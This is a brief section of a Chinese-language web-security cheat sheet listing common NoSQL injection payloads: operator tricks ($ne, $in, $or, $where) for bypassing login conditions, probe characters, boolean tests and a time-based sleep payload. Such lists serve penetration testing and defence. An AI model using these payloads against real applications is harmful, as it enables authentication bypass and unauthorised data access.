4.1.7.6. NoSQL Payload

4.1.7.6.1. 常见Payload

• 绕过限制条件

  • {"username": "user"} => {"username": {"ne": "fakeuser"}}
  • {"$where":  "return true"}

• 测试用字符

  • '"\/$[].>

• 布尔测试常用

  • {"$ne": -1}
  • {"$in": []}
  • {"$where":  "return true"}
  • {"$or": [{},{"foo":"1"}]}

• 时间

  • {"$where":  "sleep(100)"}